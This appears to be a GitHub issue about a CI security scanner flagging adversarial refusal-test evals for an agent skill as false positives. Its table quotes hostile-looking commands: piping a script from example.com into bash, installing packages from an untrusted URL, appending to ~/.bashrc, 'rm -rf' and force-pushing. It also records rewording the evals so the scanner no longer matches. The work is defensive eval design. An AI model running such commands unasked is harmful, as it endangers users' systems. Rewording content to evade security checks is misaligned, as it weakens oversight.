NVSkills CI false positives: security scanner flags adversarial refusal-test evals

[ramakrishnap-nv]

Summary

The NVSkills CI Tier 1 Security Scan (skillevaluator 0.8.1) produced 9 findings on PR #1619, all of which are false positives. The scanner pattern-matches dangerous command strings without understanding context, causing it to flag:

1. Adversarial test prompts — eval question fields that contain a dangerous pattern specifically to test that the agent refuses it
2. Refusal ground-truth descriptions — ground_truth fields that quote a command only to explain that the agent declines to run it
3. Standard git workflow commands — git commit --amend -s (DCO sign-off fix) flagged as Tool Parameter Abuse

Failing CI run

PR #1619, NVSkills CI run at 2026-07-24T18:48:36Z on runner nvcarps-runner-05-gitlab-group-docker.

False positive details

#	File	Rule	Flagged text	Why it's a false positive
1	benchmark/evals.json:39	TM1 Tool Parameter Abuse	git commit --amend -s / git commit -s -m	Standard DCO sign-off command; not parameter abuse
2	benchmark/evals.json:81	YARA backdoor_persistence	echo 'export ...' >> ~/.bashrc	Appears in ground_truth explaining what the agent tells the user to run themselves — the agent refuses to do it
3	benchmark/evals.json:320	SC2 Supply Chain	curl -s http://example.com/install.sh | bash	Adversarial question field — the eval tests that the agent refuses this exact pattern
4	benchmark/evals.json:334	YARA agent_skill_remote_bootstrap_execution	pip install http://	Same — adversarial question testing refusal of untrusted install
5	benchmark/evals.json:518	TM1 Tool Parameter Abuse	rm -rf cpp/build	Adversarial question testing that agent asks before running destructive commands
6	benchmark/evals.json:546	TM1 + YARA agent_skill_destructive_autonomous_actions	git push --force	Adversarial question testing that agent asks for confirmation before force-pushing
7	SKILL.md:42	YARA agent_skill_destructive_autonomous_actions	git reset --hard, git push --force	Listed in a "Be careful with destructive commands" caution — the skill is telling the agent not to run these without confirmation

Root cause

The skillevaluator security scanner operates on raw text patterns (YARA rules, SC2, TM1) with no semantic understanding of eval structure. It cannot distinguish:

• A question field containing a dangerous pattern to be refused from an instruction to execute it
• A ground_truth field describing a refusal from a directive to perform the action
• A caution list in SKILL.md warning against certain commands from a directive to run them

Evals that test security refusal behavior will always trigger these rules because the dangerous pattern must appear in the question to make it a valid test.

Suggested fix (scanner-side)

One or more of:

1. Eval question exemption: Treat question fields in evals.json as adversarial prompt content and exempt them from supply-chain and tool-abuse pattern checks (they are inputs to the agent, not instructions from the skill)
2. ground_truth context awareness: When a ground_truth contains both a dangerous pattern and a refusal marker (e.g. "declines to", "refuses", "does not"), suppress the finding
3. Annotation support: Allow skill authors to annotate specific eval entries with "adversarial": true to suppress security scan findings on that entry

Workaround applied in PR #1619

Rephrased all 7 items to describe the dangerous scenario in prose without the literal flagged strings. This preserves eval correctness but reduces readability and makes it harder to write clear adversarial tests in future.

Related

• PR: docs(skills): add GitHub etiquette rules and evals to cuopt-developer #1619
• NVSkills CI runner: nvcarps-runner-05-gitlab-group-docker 1qe3o3fnG
• skillevaluator version: 0.8.1